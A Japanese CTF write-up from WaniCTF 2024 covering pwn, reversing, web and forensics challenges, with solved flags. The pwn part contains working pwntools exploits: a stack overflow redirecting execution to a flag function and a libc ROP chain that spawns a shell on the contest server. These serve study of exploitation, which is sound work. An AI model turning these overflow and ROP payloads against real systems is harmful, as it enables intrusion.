WaniCTF2024 Writeup
はじめに
6/21 21:00 - 6/23 21:00に開催されたWaniCTF 2024に一人で参加し、ちょっとだけやってきました
期間中は予定があったのであまり見れませんでしたが、いつもどおり面白い問題が多かったです。
とりあえずPwnは全完できたのでよかったです
Writeup
Pwn
nc
問題名通りncする
てけいさんかと思ったけど、一回で良かった
$ nc chal-lz56g6.wanictf.org 9003
15+1=0x10
FLAG{th3_b3ginning_0f_th3_r0ad_to_th3_pwn_p1ay3r}
do_not_rewrite
BOFはあるものの、セキュリティ機構モリモリです。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
double calories_per_gram;
double amount_in_grams;
char name[50];
} Ingredient;
void init(){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
alarm(180);
}
void show_flag(){
printf("\nExcellent!\n");
system("cat FLAG");
}
double calculate_total_calories(Ingredient ingredients[], int num_ingredients) {
double total_calories = 0.0;
for (int i = 0; i < num_ingredients; i++) {
total_calories += ingredients[i].calories_per_gram * ingredients[i].amount_in_grams;
}
return total_calories;
}
int main() {
init();
Ingredient ingredients[3];
printf("hint: show_flag = %p\n", (void *)show_flag);
for (int i = 0; i <= 3; i++) {
printf("\nEnter the name of ingredient %d: ", i + 1);
scanf("%s", ingredients[i].name);
printf("Enter the calories per gram for %s: ", ingredients[i].name);
scanf("%lf", &ingredients[i].calories_per_gram);
printf("Enter the amount in grams for %s: ", ingredients[i].name);
scanf("%lf", &ingredients[i].amount_in_grams);
}
double total_calories = calculate_total_calories(ingredients, 3);
printf("\nTotal calories for the meal: %.2f kcal\n", total_calories);
return 0;
}
最初CanaryのLeakをしようかと思ったけどscanf
がNull埋めてくるので諦め。
挙動見てたら4個めで普通に書き換えられた。
#!/usr/bin/env python3
from pwn import *
binfile = './chall'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('chal-lz56g6.wanictf.org', 9004)
io.recvuntil(b'show_flag = ')
show_flag_addr = int(io.readline().decode('utf-8', 'ignore'), 16)
for i in range(3):
io.sendlineafter(b': ', b'hoge')
io.sendlineafter(b': ', b'1')
io.sendlineafter(b': ', b'1')
io.sendlineafter(b'Enter the name of ingredient 4: ', pack(show_flag_addr + 5))
io.sendlineafter(b': ', b'\x00')
io.sendlineafter(b': ', b'\x00')
io.interactive()
FLAG{B3_c4r3fu1_wh3n_using_th3_f0rm4t_sp3cifi3r_1f_in_sc4nf}
``
### do_not_rewrite2
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
double calories_per_gram;
double amount_in_grams;
char name[50];
} Ingredient;
void init(){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
alarm(180);
}
double calculate_total_calories(Ingredient ingredients[], int num_ingredients) {
double total_calories = 0.0;
for (int i = 0; i <= num_ingredients; i++) {
total_calories += ingredients[i].calories_per_gram * ingredients[i].amount_in_grams;
}
return total_calories;
}
int main() {
init();
Ingredient ingredients[3];
printf("hint: printf = %p\n", (void *)printf);
for (int i = 0; i <= 3; i++) {
printf("\nEnter the name of ingredient %d: ", i + 1);
scanf("%s", ingredients[i].name);
printf("Enter the calories per gram for %s: ", ingredients[i].name);
scanf("%lf", &ingredients[i].calories_per_gram);
printf("Enter the amount in grams for %s: ", ingredients[i].name);
scanf("%lf", &ingredients[i].amount_in_grams);
}
double total_calories = calculate_total_calories(ingredients, 3);
printf("\nTotal calories for the meal: %.2f kcal\n", total_calories);
return 0;
}
show_flag
が無くなったので、そのままROPします。
#!/usr/bin/env python3
from pwn import *
binfile = './chall'
context.log_level = 'critical'
e = ELF(binfile)
libc = ELF('./libc.so.6')
context.binary = binfile
io = remote('chal-lz56g6.wanictf.org', 9005)
io.recvuntil(b'printf = ')
printf_addr = int(io.readline().decode('utf-8', 'ignore'), 16)
libc_base = printf_addr - libc.sym['printf']
libc.address = libc_base
for i in range(3):
io.sendlineafter(b': ', b'hoge')
io.sendlineafter(b': ', b'1')
io.sendlineafter(b': ', b'1')
rop = ROP(libc, badchars='\n')
rop.raw(rop.find_gadget(['ret']))
rop.system(next(libc.search(b'/bin/sh\x00')))
payload = rop.chain()
assert(b'\n' not in payload)
io.sendlineafter(b'Enter the name of ingredient 4: ', payload)
io.sendlineafter(b': ', b'\x00')
io.sendlineafter(b': ', b'\x00')
io.recvuntil(b'kcal\n')
io.interactive()
libcのベースを教えてくれるのでありがたいですね。
$ ./solve.py
$ ls
FLAG
chall
redir.sh
$ cat FLAG
FLAG{r0p_br0d3n_0ur_w0r1d}$
Reversing
lambda
めちゃくちゃlambdaなPythonです。ぐえ〜
とりあえずblackでちょっと読みやすくしました
import sys
sys.setrecursionlimit(10000000)
(lambda _0: _0(input))(
lambda _1: (lambda _2: _2("Enter the flag: "))(
lambda _3: (lambda _4: _4(_1(_3)))(
lambda _5: (lambda _6: _6("".join))(
lambda _7: (
lambda _8: _8(lambda _9: _7((chr(ord(c) + 12) for c in _9)))
)(
lambda _10: (lambda _11: _11("".join))(
lambda _12: (
lambda _13: _13((chr(ord(c) - 3) for c in _10(_5)))
)(
lambda _14: (lambda _15: _15(_12(_14)))(
lambda _16: (lambda _17: _17("".join))(
lambda _18: (
lambda _19: _19(
lambda _20: _18(
(chr(123 ^ ord(c)) for c in _20)
)
)
)(
lambda _21: (lambda _22: _22("".join))(
lambda _23: (
lambda _24: _24((_21(c) for c in _16))
)(
lambda _25: (lambda _26: _26(_23(_25)))(
lambda _27: (
lambda _28: _28(
"16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r"
)
)(
lambda _29: (
lambda _30: _30("".join)
)(
lambda _31: (
lambda _32: _32(
(
chr(
int(c, 36)
+ 10
)
for c in _29.split(
"_"
)
)
)
)(
lambda _33: (
lambda _34: _34(
_31(_33)
)
)(
lambda _35: (
lambda _36: _36(
lambda _37: lambda _38: _37
== _38
)
)(
lambda _39: (
lambda _40: _40(
print
)
)(
lambda _41: (
lambda _42: _42(
_39
)
)(
lambda _43: (
lambda _44: _44(
_27
)
)(
lambda _45: (
lambda _46: _46(
_43(
_45
)
)
)(
lambda _47: (
lambda _48: _48(
_35
)
)(
lambda _49: (
lambda _50: _50(
_47(
_49
)
)
)(
lambda _51: (
lambda _52: _52(
"Correct FLAG!"
)
)(
lambda _53: (
lambda _54: _54(
"Incorrect"
)
)(
lambda _55: (
lambda _56: _56(
_41(
_53
if _51
else _55
)
)
)(
lambda _57: lambda _58: _58
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
もうあとは気合です
>>> s = "16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r"
>>> l = s.split('_')
>>> ints = [chr(int(c, 36) + 10) for c in l]
>>> ''.join([chr(ord(c)-9) for c in [chr(123^ord(c)) for c in ints]])
'FLAG{l4_1a_14mbd4}'
home
デバッガ検知があるので、即パッチ当ててgdbします。
FLAG{How_did_you_get_here_4VKzTLibQmPaBZY4}
Web
Bad_Worker
ASP.NET〜〜〜?????
となったけど、普通にcurlしたら動いた
$ curl https://web-bad-worker-lz56g6.wanictf.org/FLAG.txt
FLAG{pr0gr3ssiv3_w3b_4pp_1s_us3fu1}
pow
Crypto???????
となったけど、一回計算できればあとは同じ数投げるだけだった。
ConsoleでやったのでSolver無いです…
Forensics
tiny_usb
マウントしたら画像出てきました
Surveillance_of_sus
RDP8bmp
というMagic Numberで調べたらRDPのキャッシュらしい。ツール使って抽出したら画像がいっぱいでてきた。
読みづらかった。
おわりに
あんまり見れなかったけど楽しかったです
Comments